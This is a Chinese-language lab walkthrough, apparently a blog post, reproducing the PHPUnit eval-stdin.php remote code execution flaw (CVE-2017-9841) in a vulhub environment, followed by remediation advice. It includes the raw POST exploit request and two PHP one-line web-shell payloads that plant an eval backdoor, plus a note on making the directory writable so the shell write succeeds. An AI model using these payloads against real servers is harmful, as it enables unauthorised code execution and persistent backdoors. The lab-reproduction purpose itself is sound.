簡介
漏洞環境:vulhub
參考鏈接:
https://blog.csdn.net/csacs/article/details/90640601
https://blog.csdn.net/zy15667076526/article/details/111824844
CVE-2017-9841
PHPUnit 是 PHP 程式語言中最常見的單元測試 (unit testing) 框架,通常phpunit使用composer非常流行的PHP依賴管理器進行部署,將會在當前目錄創建一個vendor文件夾。phpunit生產環境中仍然安裝了它,如果該編寫器模塊存在於Web可訪問目錄,則存在遠程代碼執行漏洞。
composer是php包管理工具,使用composer安裝擴展包將會在當前目錄創建一個vendor文件夾,並將所有文件放在其中。通常這個目錄需要放在web目錄外,使用戶不能直接訪問。
phpunit是php中的單元測試工具,其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代碼
eval('?>'.file_get_contents('php://input'));
如果該文件被用戶直接訪問到,將造成原創代碼執行漏洞。
影響版本:
- 4.8.19 ~ 4.8.27
- 5.0.10 ~ 5.6.2
漏洞復現
啟動vulhub中的docker環境,訪問eval-stdin.php
的路徑:
http://144.34.169.6:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
使用bp進行抓包,將請求方式改為POST,同時將php代碼作為請求體。
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: 144.34.169.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 18
執行結果:
看博客,寫入一句話木馬:<?=file_put_contents("test.php", '<?=@eval($_REQUEST[cmd]);?>');
,但是我發現我根本寫入不進去,提示該文件寫入權限不足:
file_put_contents(test.php): failed to open stream: Permission denied in /var/www/html/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php(3) : eval()'d code
原因是,apache使用的是www-data用戶運行,而web目錄下的文件用戶與用戶組權限均為root,eval-stdin.php
所在的PHP
文件夾,其他用戶只有執行和讀權限,所以寫入失敗。
如果要寫入一句話木馬,需要將PHP目錄增加其他用戶可寫權限。
也可以用這個寫入一句話,<?php file_put_contents("shell.php",'<?php @eval($_POST[cmd]);?>');?>
。
漏洞修復
- 生產環境中直接刪掉phpunit
- 升級phpunit版本
- 設置權限,禁止訪問該目錄